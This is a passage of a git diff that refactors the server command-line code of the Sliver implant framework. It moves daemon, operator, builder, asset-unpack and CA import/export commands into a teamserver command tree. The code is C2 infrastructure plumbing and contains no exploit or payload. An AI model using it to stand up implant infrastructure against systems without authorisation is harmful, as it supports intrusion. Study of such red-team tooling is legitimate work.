certs.MtlsImplantCA, - "https": certs.HTTPSCA, - } -) - -// CA - Exported CA format -type CA struct { - Certificate string `json:"certificate"` - PrivateKey string `json:"private_key"` -} - -func validCATypes() []string { - types := []string{} - for caType := range CATypes { - types = append(types, caType) - } - return types -} - -var cmdImportCA = &cobra.Command{ - Use: "import-ca", - Short: "Import certificate authority", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - caType, err := cmd.Flags().GetString(caTypeFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) - os.Exit(1) - } - ca, ok := CATypes[caType] - if !ok { - CAs := strings.Join(validCATypes(), ", ") - fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) - os.Exit(1) - } - - load, err := cmd.Flags().GetString(loadFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", loadFlagStr, err) - os.Exit(1) - } - fi, err := os.Stat(load) - if os.IsNotExist(err) || fi.IsDir() { - fmt.Printf("Cannot load file %s\n", load) - os.Exit(1) - } - - data, err := os.ReadFile(load) - if err != nil { - fmt.Printf("Cannot read file %s", err) - os.Exit(1) - } - - importCA := &CA{} - err = json.Unmarshal(data, importCA) - if err != nil { - fmt.Printf("Failed to parse file %s", err) - os.Exit(1) - } - cert := []byte(importCA.Certificate) - key := []byte(importCA.PrivateKey) - certs.SaveCertificateAuthority(ca, cert, key) - }, -} - -var cmdExportCA = &cobra.Command{ - Use: "export-ca", - Short: "Export certificate authority", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - caType, err := cmd.Flags().GetString(caTypeFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) - os.Exit(1) - } - ca, ok := CATypes[caType] - if !ok { - CAs := strings.Join(validCATypes(), ", ") - fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) - os.Exit(1) - } - - save, err := cmd.Flags().GetString(saveFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", saveFlagStr, err) - os.Exit(1) - } - if save == "" { - save, _ = os.Getwd() - } - - certs.SetupCAs() - certificateData, privateKeyData, err := certs.GetCertificateAuthorityPEM(ca) - if err != nil { - fmt.Printf("Error reading CA %s\n", err) - os.Exit(1) - } - exportedCA := &CA{ - Certificate: string(certificateData), - PrivateKey: string(privateKeyData), - } - - saveTo, _ := filepath.Abs(save) - fi, err := os.Stat(saveTo) - if !os.IsNotExist(err) && !fi.IsDir() { - fmt.Printf("File already exists: %s\n", err) - os.Exit(1) - } - if !os.IsNotExist(err) && fi.IsDir() { - filename := fmt.Sprintf("%s.ca", filepath.Base(caType)) - saveTo = filepath.Join(saveTo, filename) - } - data, _ := json.Marshal(exportedCA) - err = os.WriteFile(saveTo, data, 0600) - if err != nil { - fmt.Printf("Write failed: %s (%s)\n", saveTo, err) - os.Exit(1) - } - }, -} diff --git a/server/cli/cli.go b/server/cli/cli.go index c150e8f24f..953317c72d 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -19,129 +19,174 @@ package cli */ import ( - "fmt" - "log" "os" - "path/filepath" - "runtime/debug" - "strings" + // CLI dependencies + "github.com/rsteube/carapace" "github.com/spf13/cobra" - "github.com/bishopfox/sliver/server/assets" + // Teamserver/teamclient dependencies + "github.com/reeflective/team/server" + + // Sliver Client core, and generic/server-only commands + clientCommand "github.com/bishopfox/sliver/client/command" + consoleCmd "github.com/bishopfox/sliver/client/command/console" + client "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/server/c2" - "github.com/bishopfox/sliver/server/certs" + "github.com/bishopfox/sliver/server/command" "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/console" + "github.com/bishopfox/sliver/server/encoders" + "github.com/bishopfox/sliver/server/transport" + + // Server-only imports + "github.com/bishopfox/sliver/server/assets" + "github.com/bishopfox/sliver/server/certs" "github.com/bishopfox/sliver/server/cryptography" - "github.com/bishopfox/sliver/server/daemon" ) -const ( - - // Unpack flags - forceFlagStr = "force" - - // Operator flags - nameFlagStr = "name" - lhostFlagStr = "lhost" - lportFlagStr = "lport" - saveFlagStr = "save" - - // Cert flags - caTypeFlagStr = "type" - loadFlagStr = "load" - - // console log file name - logFileName = "console.log" -) +// Execute the sliver server binary. +func Execute() { + // Create a new Sliver Teamserver: the latter is able to serve all remote + // clients for its users, over any of the available transport stacks (MTLS/TS. + // Persistent teamserver client listeners are not started by default. + teamserver, opts, err := transport.NewTeamserver() + if err != nil { + panic(err) + } -// Initialize logging -func initConsoleLogging(appDir string) *os.File { - log.SetFlags(log.LstdFlags | log.Lshortfile) - logFile, err := os.OpenFile(filepath.Join(appDir, "logs", logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) + // Use the specific set of dialing options passed by the teamserver, + // and use them to create an in-memory sliver teamclient, identical + // in behavior to remote ones. + // The client has no commands available yet. + con, err := client.NewSliverClient(opts...) if err != nil { - log.Fatalf("Error opening file: %v", err) + panic(err) } - log.SetOutput(logFile) - return logFile -} -func init() { - // Unpack - unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") - rootCmd.AddCommand(unpackCmd) - - // Operator - operatorCmd.Flags().StringP(nameFlagStr, "n", "", "operator name") - operatorCmd.Flags().StringP(lhostFlagStr, "l", "", "multiplayer listener host") - operatorCmd.Flags().Uint16P(lportFlagStr, "p", uint16(31337), "multiplayer listener port") - operatorCmd.Flags().StringP(saveFlagStr, "s", "", "save file to ...") - rootCmd.AddCommand(operatorCmd) - - // Certs - cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") - cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) - rootCmd.AddCommand(cmdExportCA) - - cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...") - cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) - rootCmd.AddCommand(cmdImportCA) - - // Daemon - daemonCmd.Flags().StringP(lhostFlagStr, "l", daemon.BlankHost, "multiplayer listener host") - daemonCmd.Flags().Uint16P(lportFlagStr, "p", daemon.BlankPort, "multiplayer listener port") - daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets") - rootCmd.AddCommand(daemonCmd) - - // Builder - rootCmd.AddCommand(initBuilderCmd()) - - // Version - rootCmd.AddCommand(versionCmd) + // Generate our complete Sliver Framework command-line interface. + rootCmd := sliverServerCLI(teamserver, con) + + // Run the target Sliver command: + // Three different examples here, to illustrate. + // + // - `sliver generate --os linux` starts the server, ensuring assets are unpacked, etc. + // Once ready, the generate command is executed (from the client, passed to the server + // via the in-memory RPC, and executed, compiled, then returned to the client). + // When the binary exits, an implant is compiled and available client-side (locally here). + // + // - `sliver console` starts the console, and everything works like it ever did. + // On top of that, you can access and use the entire `teamserver` control commands to + // start/close/delete client listeners, create/delete users, manage CAs, show status, etc. + // + // - `sliver teamserver serve` is a teamserver-tree specific command, and the teamserver + // set above in the code has been given a single hook to register its RPC backend. + // The call blocks like your old daemon command, and works _just the same_. + if err := rootCmd.Execute(); err != nil { + os.Exit(1) + } } -var rootCmd = &cobra.Command{ - Use: "sliver-server", - Short: "", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - // Root command starts the server normally - - appDir := assets.GetRootAppDir() - logFile := initConsoleLogging(appDir) - defer logFile.Close() - - defer func() { - if r := recover(); r != nil { - log.Printf("panic:\n%s", debug.Stack()) - fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) - os.Exit(99) - } - }() +// sliverServerCLI returns the entire command tree of the Sliver Framework as yielder functions. +// The ready-to-execute command tree (root *cobra.Command) returned is correctly equipped with +// all prerunners needed to connect to remote Sliver teamservers. +// It will also register the appropriate teamclient management commands. +// +// Counterpart of sliver/client/cli.SliverCLI() (not identical: no implant command here). +func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra.Command) { + teamserverCmds := command.TeamserverCommands(team, con) + + // Generate a single tree instance of server commands: + // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with + // a pre-runner ensuring the server and its teamclient are set up and connected. + server := clientCommand.ServerCommands(con, teamserverCmds) + + root = server() + root.Use = "sliver-server" // Needed by completion scripts. + con.IsServer = true + + // Bind the closed-loop console: + // The console shares the same setup/connection pre-runners as other commands, + // but the command yielders we pass as arguments don't: this is because we only + // need one connection for the entire lifetime of the console. + root.AddCommand(consoleCmd.Command(con, server)) + + // The server is also a client of itself, so add our sliver-server + // binary specific pre-run hooks: assets, encoders, toolchains, etc. + con.AddPreRuns(preRunServerS(team, con)) + + // Pre/post runners and completions. + clientCommand.BindPreRun(root, con.PreRunConnect) + clientCommand.BindPostRun(root, con.PostRunDisconnect) + + // Generate the root completion command. + carapace.Gen(root) + + return root +} +func preRunServerS(teamserver *server.Server, con *client.SliverClient) clientCommand.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + // All commands of the teamserver binary + // must always have at least these working. assets.Setup(false, true) + encoders.Setup() certs.SetupCAs() certs.SetupWGKeys() cryptography.AgeServerKeyPair() cryptography.MinisignServerPrivateKey() - serverConfig := configs.GetServerConfig() - c2.StartPersistentJobs(serverConfig) - console.StartPersistentJobs(serverConfig) - if serverConfig.DaemonMode { - daemon.Start(daemon.BlankHost, daemon.BlankPort) - } else { - os.Args = os.Args[:1] // Hide cli from grumble console - console.Start() - } - }, -} + // But we don't start Sliver-specific C2 listeners unless + // we are being ran in daemon mode, or in the console. + // We don't always have access to a command, such when + if cmd != nil { + if (cmd.Name() == "daemon" && cmd.Parent().Name() == "teamserver") || + cmd.Name() == "console" { + serverConfig := configs.GetServerConfig() + err := c2.StartPersistentJobs(serverConfig) + if err != nil { + con.PrintWarnf("Persistent jobs restart error: %s", err) + } + } -// Execute - Execute root command -func Execute() { - if err := rootCmd.Execute(); err != nil { - fmt.Println(err) - os.Exit(1) + } + // Let our in-memory teamclient be served. + return teamserver.Serve(con.Teamclient) } } + +// preRunServer is the server-binary-specific pre-run; it ensures that the server +// has everything it needs to perform any client-side command/task. +// func preRunServer(teamserver *server.Server, con *client.SliverClient) func() error { +// return func() error { +// // Ensure the server has what it needs. +// assets.Setup(false, true) +// encoders.Setup() +// certs.SetupCAs() +// certs.SetupWGKeys() +// cryptography.AgeServerKeyPair() +// cryptography.MinisignServerPrivateKey() +// +// // TODO: Move this out of here. +// serverConfig := configs.GetServerConfig() +// c2.StartPersistentJobs(serverConfig) +// +// // Let our in-memory teamclient be served. +// return teamserver.Serve(con.Teamclient) +// } +// } + +// preRun := func(cmd *cobra.Command, _ []string) error { +// +// // Start persistent implant/c2 jobs (not teamservers) +// // serverConfig := configs.GetServerConfig() +// // c2.StartPersistentJobs(serverConfig) +// +// // Only start the teamservers when the console being +// // ran is the console itself: the daemon command will +// // start them on its own, since the config is different. +// // if cmd.Name() == "console" { +// // teamserver.ListenerStartPersistents() // Automatically logged errors. +// // // console.StartPersistentJobs(serverConfig) // Old alternative +// // } +// return nil +// } diff --git a/server/cli/daemon.go b/server/cli/daemon.go deleted file mode 100644 index 618d919dfe..0000000000 --- a/server/cli/daemon.go +++ /dev/null @@ -1,62 +0,0 @@ -package cli - -import ( - "fmt" - "log" - "os" - "runtime/debug" - - "github.com/bishopfox/sliver/server/assets" - "github.com/bishopfox/sliver/server/c2" - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/cryptography" - "github.com/bishopfox/sliver/server/daemon" - "github.com/spf13/cobra" -) - -var daemonCmd = &cobra.Command{ - Use: "daemon", - Short: "Force start server in daemon mode", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - force, err := cmd.Flags().GetBool(forceFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err) - return - } - lhost, err := cmd.Flags().GetString(lhostFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", lhostFlagStr, err) - return - } - lport, err := cmd.Flags().GetUint16(lportFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", lportFlagStr, err) - return - } - - appDir := assets.GetRootAppDir() - logFile := initConsoleLogging(appDir) - defer logFile.Close() - - defer func() { - if r := recover(); r != nil { - log.Printf("panic:\n%s", debug.Stack()) - fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) - os.Exit(99) - } - }() - - assets.Setup(force, false) - certs.SetupCAs() - certs.SetupWGKeys() - cryptography.AgeServerKeyPair() - cryptography.MinisignServerPrivateKey() - - serverConfig := configs.GetServerConfig() - c2.StartPersistentJobs(serverConfig) - - daemon.Start(lhost, uint16(lport)) - }, -} diff --git a/server/cli/operator.go b/server/cli/operator.go deleted file mode 100644 index 2876c8b6ae..0000000000 --- a/server/cli/operator.go +++ /dev/null @@ -1,95 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "os" - "path/filepath" - - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/console" - "github.com/spf13/cobra" -) - -var operatorCmd = &cobra.Command{ - Use: "operator", - Short: "Generate operator configuration files", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - - name, err := cmd.Flags().GetString(nameFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", nameFlagStr, err) - os.Exit(1) - } - if name == "" { - fmt.Printf("Must specify --%s", nameFlagStr) - os.Exit(1) - } - - lhost, err := cmd.Flags().GetString(lhostFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", lhostFlagStr, err) - os.Exit(1) - } - if lhost == "" { - fmt.Printf("Must specify --%s", lhostFlagStr) - os.Exit(1) - } - - lport, err := cmd.Flags().GetUint16(lportFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", lportFlagStr, err) - os.Exit(1) - } - - save, err := cmd.Flags().GetString(saveFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", saveFlagStr, err) - os.Exit(1) - } - if save == "" { - save, _ = os.Getwd() - } - - certs.SetupCAs() - configJSON, err := console.NewOperatorConfig(name, lhost, lport) - if err != nil { - fmt.Printf("Failed: %s\n", err) - os.Exit(1) - } - - saveTo, _ := filepath.Abs(save) - fi, err := os.Stat(saveTo) - if !os.IsNotExist(err) && !fi.IsDir() { - fmt.Printf("File already exists: %s\n", err) - os.Exit(1) - } - if !os.IsNotExist(err) && fi.IsDir() { - filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost)) - saveTo = filepath.Join(saveTo, filename) - } - err = os.WriteFile(saveTo, configJSON, 0600) - if err != nil { - fmt.Printf("Write failed: %s (%s)\n", saveTo, err) - os.Exit(1) - } - }, -} diff --git a/server/cli/unpack.go b/server/command/assets/unpack.go similarity index 53% rename from server/cli/unpack.go rename to server/command/assets/unpack.go index e6b72fd558..09ff9f3a2b 100644 --- a/server/cli/unpack.go +++ b/server/command/assets/unpack.go @@ -1,4 +1,4 @@ -package cli +package assets /* Sliver Implant Framework @@ -21,22 +21,36 @@ package cli import ( "fmt" - "github.com/bishopfox/sliver/server/assets" "github.com/spf13/cobra" -) -var unpackCmd = &cobra.Command{ - Use: "unpack", - Short: "Unpack assets and exit", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { + "github.com/bishopfox/sliver/server/assets" + "github.com/bishopfox/sliver/server/msf" +) - force, err := cmd.Flags().GetBool(forceFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err) - return - } +const ( + // Unpack flags + forceFlagStr = "force" +) - assets.Setup(force, true) - }, +// Commands returns all commands for Sliver assets management. +func Commands() []*cobra.Command { + unpackCmd := &cobra.Command{ + Use: "unpack", + Short: "Unpack assets and exit", + Long: ``, + Run: func(cmd *cobra.Command, args []string) { + force, err := cmd.Flags().GetBool(forceFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err) + return + } + + assets.Setup(force, true) + msf.CacheModules() + }, + } + + unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") + + return []*cobra.Command{unpackCmd} } diff --git a/server/cli/builder.go b/server/command/builder/builder.go similarity index 53% rename from server/cli/builder.go rename to server/command/builder/builder.go index 80037adb94..f6177fb51f 100644 --- a/server/cli/builder.go +++ b/server/command/builder/builder.go @@ -1,4 +1,4 @@ -package cli +package builder /* Sliver Implant Framework @@ -25,21 +25,29 @@ import ( "runtime/debug" "strings" - clientAssets "github.com/bishopfox/sliver/client/assets" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/client/commands" + "github.com/reeflective/team/server" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/builder" "github.com/bishopfox/sliver/server/generate" "github.com/bishopfox/sliver/server/log" - "github.com/spf13/cobra" ) -var ( - builderLog = log.NamedLogger("cli", "builder") -) +var builderLog = log.NamedLogger("cli", "builder") const ( + nameFlagStr = "name" + enableTargetFlagStr = "enable-target" disableTargetFlagStr = "disable-target" @@ -48,7 +56,17 @@ const ( logLevelFlagStr = "log-level" ) -func initBuilderCmd() *cobra.Command { +// Commands returns all commands for using Sliver as a builder backend. +func Commands(con *console.SliverClient, team *server.Server) []*cobra.Command { + builderCmd := &cobra.Command{ + Use: "builder", + Short: "Start the process as an external builder", + Long: ``, + Run: func(cmd *cobra.Command, args []string) { + runBuilderCmd(cmd, args, team, con) + }, + } + builderCmd.Flags().StringP(nameFlagStr, "n", "", "Name of the builder (blank = hostname)") builderCmd.Flags().IntP(logLevelFlagStr, "L", 4, "Logging level: 1/fatal, 2/error, 3/warn, 4/info, 5/debug, 6/trace") builderCmd.Flags().StringP(operatorConfigFlagStr, "c", "", "operator config file path") @@ -58,77 +76,55 @@ func initBuilderCmd() *cobra.Command { builderCmd.Flags().StringSlice(enableTargetFlagStr, []string{}, "force enable a target: format:goos/goarch") builderCmd.Flags().StringSlice(disableTargetFlagStr, []string{}, "force disable target arch: format:goos/goarch") - return builderCmd -} - -var builderCmd = &cobra.Command{ - Use: "builder", - Short: "Start the process as an external builder", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - configPath, err := cmd.Flags().GetString(operatorConfigFlagStr) - if err != nil { - builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err) - return - } - if configPath == "" { - builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr) - return - } + completers.NewFlagCompsFor(builderCmd, func(comp *carapace.ActionMap) { + (*comp)["enable-target"] = builderFormatsCompleter() + (*comp)["disable-target"] = builderFormatsCompleter() + (*comp)["config"] = commands.ConfigsAppCompleter(con.Teamclient, "detected Sliver configs") + }) - quiet, err := cmd.Flags().GetBool(quietFlagStr) - if err != nil { - builderLog.Errorf("Failed to parse --%s flag %s\n", quietFlagStr, err) - } - if !quiet { - log.RootLogger.AddHook(log.NewStdoutHook(log.RootLoggerName)) - } - builderLog.Infof("Initializing Sliver external builder - %s", version.FullVersion()) + return []*cobra.Command{builderCmd} +} - level, err := cmd.Flags().GetInt(logLevelFlagStr) - if err != nil { - builderLog.Errorf("Failed to parse --%s flag %s\n", logLevelFlagStr, err) - return - } - log.RootLogger.SetLevel(log.LevelFrom(level)) +func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server, con *console.SliverClient) error { + configPath, err := cmd.Flags().GetString(operatorConfigFlagStr) + if err != nil { + builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err) + return nil + } + if configPath == "" { + builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr) + return nil + } - defer func() { - if r := recover(); r != nil { - builderLog.Printf("panic:\n%s", debug.Stack()) - builderLog.Fatalf("stacktrace from panic: \n" + string(debug.Stack())) - os.Exit(99) - } - }() + quiet, err := cmd.Flags().GetBool(quietFlagStr) + if err != nil { + builderLog.Errorf("Failed to parse --%s flag %s\n", quietFlagStr, err) + } + if !quiet { + log.RootLogger.AddHook(log.NewStdoutHook(log.RootLoggerName)) + } + builderLog.Infof("Initializing Sliver external builder - %s", version.FullVersion()) - externalBuilder := parseBuilderConfigFlags(cmd) - externalBuilder.Templates = []string{"sliver"} + level, err := cmd.Flags().GetInt(logLevelFlagStr) + if err != nil { + builderLog.Errorf("Failed to parse --%s flag %s\n", logLevelFlagStr, err) + return nil + } + log.RootLogger.SetLevel(log.LevelFrom(level)) - // load the client configuration from the filesystem - config, err := clientAssets.ReadConfig(configPath) - if err != nil { - builderLog.Fatalf("Invalid config file: %s", err) - os.Exit(-1) - } - if externalBuilder.Name == "" { - builderLog.Infof("No builder name was specified, attempting to use hostname") - externalBuilder.Name, err = os.Hostname() - if err != nil { - builderLog.Errorf("Failed to get hostname: %s", err) - externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS) - } + defer func() { + if r := recover(); r != nil { + builderLog.Printf("panic:\n%s", debug.Stack()) + builderLog.Fatalf("stacktrace from panic: \n" + string(debug.Stack())) + os.Exit(99) } - builderLog.Infof("Hello my name is: %s", externalBuilder.Name) + }() - // connect to the server - builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort) - rpc, ln, err := transport.MTLSConnect(config) - if err != nil { - builderLog.Errorf("Failed to connect to server: %s", err) - os.Exit(-2) - } - defer ln.Close() - builder.StartBuilder(externalBuilder, rpc) - }, + externalBuilder := parseBuilderConfigFlags(cmd) + externalBuilder.Templates = []string{"sliver"} + + // load the client configuration from the filesystem + return startBuilderClient(externalBuilder, configPath, team, con) } func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder { @@ -260,3 +256,90 @@ func parseForceDisableTargets(cmd *cobra.Command, externalBuilder *clientpb.Buil } } } + +func startBuilderClient(externalBuilder *clientpb.Builder, configPath string, team *server.Server, con *console.SliverClient) error { + // Simply use our transport+RPC backend. + cli := transport.NewClient() + + teamclient := team.Self(client.WithDialer(cli)) + + // Now use our teamclient to fetch the configuration. + config, err := teamclient.ReadConfig(configPath) + if err != nil { + builderLog.Fatalf("Invalid config file: %s", err) + os.Exit(-1) + } + + if externalBuilder.Name == "" { + builderLog.Infof("No builder name was specified, attempting to use hostname") + externalBuilder.Name, err = os.Hostname() + if err != nil { + builderLog.Errorf("Failed to get hostname: %s", err) + externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.User, runtime.GOOS) + } + } + builderLog.Infof("Hello my name is: %s", externalBuilder.Name) + + builderLog.Infof("Connecting to %s@%s:%d ...", config.User, config.Host, config.Port) + + // And immediately connect to it. + err = teamclient.Connect(client.WithConfig(config)) + if err != nil { + return err + } + + rpc := rpcpb.NewSliverRPCClient(cli.Conn) + + defer teamclient.Disconnect() + + // Let the builder do its work, blocking. + return builder.StartBuilder(externalBuilder, rpc, con) +} + +// builderFormatsCompleter completes supported builders architectures. +func builderFormatsCompleter() carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + return carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action { + var results []string + + switch len(c.Parts) { + + // Binary targets + case 1: + for _, target := range generate.GetCompilerTargets() { + results = append(results, fmt.Sprintf("%s/%s", target.GOOS, target.GOARCH)) + } + + for _, target := range generate.GetUnsupportedTargets() { + results = append(results, fmt.Sprintf("%s/%s", target.GOOS, target.GOARCH)) + } + + return carapace.ActionValues(results...).Tag("architectures") + + // Binary formats + case 0: + for _, fmt := range []string{"executable", "exe", "exec", "pe"} { + results = append(results, fmt, clientpb.OutputFormat_EXECUTABLE.String()) + } + + for _, fmt := range []string{"shared-lib", "sharedlib", "dll", "so", "dylib"} { + results = append(results, fmt, clientpb.OutputFormat_SHARED_LIB.String()) + } + + for _, fmt := range []string{"service", "svc"} { + results = append(results, fmt, clientpb.OutputFormat_SERVICE.String()) + } + + for _, fmt := range []string{"shellcode", "shell", "sc"} { + results = append(results, fmt, clientpb.OutputFormat_SHELLCODE.String()) + } + + return carapace.ActionValuesDescribed(results...).Tag("formats").Suffix(":") + } + + return carapace.ActionValues() + }) + // Our flags --enable-target/--disable-targets are list, + // so users can coma-separate their values for a single flag. + }).UniqueList(",") +} diff --git a/server/command/certs/certs.go b/server/command/certs/certs.go new file mode 100644 index 0000000000..57e8cedd2f --- /dev/null +++ b/server/command/certs/certs.go @@ -0,0 +1,169 @@ +package certs + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/server/certs" + "github.com/spf13/cobra" +) + +// CATypes - CA types +var CATypes = map[string]string{ + "mtls": certs.MtlsImplantCA, + "https": certs.HTTPSCA, +} + +const ( + // Cert flags + caTypeFlagStr = "type" + loadFlagStr = "load" + saveFlagStr = "save" +) + +// CA - Exported CA format +type CA struct { + Certificate string `json:"certificate"` + PrivateKey string `json:"private_key"` +} + +func validCATypes() []string { + types := []string{} + for caType := range CATypes { + types = append(types, caType) + } + return types +} + +// Commands returns all commands for Sliver-specific Certificates management. +func Commands(con *console.SliverClient) []*cobra.Command { + cmdImportCA := &cobra.Command{ + Use: "import-ca", + Short: "Import certificate authority", + Long: ``, + Run: runBuilderCmd, + } + + cmdExportCA := &cobra.Command{ + Use: "export-ca", + Short: "Export certificate authority", + Long: ``, + Run: exportCACmd, + } + + return []*cobra.Command{cmdImportCA, cmdExportCA} +} + +func runBuilderCmd(cmd *cobra.Command, args []string) { + caType, err := cmd.Flags().GetString(caTypeFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) + os.Exit(1) + } + ca, ok := CATypes[caType] + if !ok { + CAs := strings.Join(validCATypes(), ", ") + fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) + os.Exit(1) + } + + load, err := cmd.Flags().GetString(loadFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s\n", loadFlagStr, err) + os.Exit(1) + } + fi, err := os.Stat(load) + if os.IsNotExist(err) || fi.IsDir() { + fmt.Printf("Cannot load file %s\n", load) + os.Exit(1) + } + + data, err := os.ReadFile(load) + if err != nil { + fmt.Printf("Cannot read file %s", err) + os.Exit(1) + } + + importCA := &CA{} + err = json.Unmarshal(data, importCA) + if err != nil { + fmt.Printf("Failed to parse file %s", err) + os.Exit(1) + } + cert := []byte(importCA.Certificate) + key := []byte(importCA.PrivateKey) + certs.SaveCertificateAuthority(ca, cert, key) +} + +func exportCACmd(cmd *cobra.Command, args []string) { + caType, err := cmd.Flags().GetString(caTypeFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) + os.Exit(1) + } + ca, ok := CATypes[caType] + if !ok { + CAs := strings.Join(validCATypes(), ", ") + fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) + os.Exit(1) + } + + save, err := cmd.Flags().GetString(saveFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s\n", saveFlagStr, err) + os.Exit(1) + } + if save == "" { + save, _ = os.Getwd() + } + + certs.SetupCAs() + certificateData, privateKeyData, err := certs.GetCertificateAuthorityPEM(ca) + if err != nil { + fmt.Printf("Error reading CA %s\n", err) + os.Exit(1) + } + exportedCA := &CA{ + Certificate: string(certificateData), + PrivateKey: string(privateKeyData), + } + + saveTo, _ := filepath.Abs(save) + fi, err := os.Stat(saveTo) + if !os.IsNotExist(err) && !fi.IsDir() { + fmt.Printf("File already exists: %s\n", err) + os.Exit(1) + } + if !os.IsNotExist(err) && fi.IsDir() { + filename := fmt.Sprintf("%s.ca", filepath.Base(caType)) + saveTo = filepath.Join(saveTo, filename) + } + data, _ := json.Marshal(exportedCA) + err = os.WriteFile(saveTo, data, 0o600) + if err != nil { + fmt.Printf("Write failed: %s (%s)\n", saveTo, err) + os.Exit(1) + } +} diff --git a/server/command/server.go b/server/command/server.go new file mode 100644 index 0000000000..a8289dd238 --- /dev/null +++ b/server/command/server.go @@ -0,0 +1,54 @@ +package command + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/spf13/cobra" + + "github.com/reeflective/team/server" + "github.com/reeflective/team/server/commands" + + "github.com/bishopfox/sliver/client/command" + 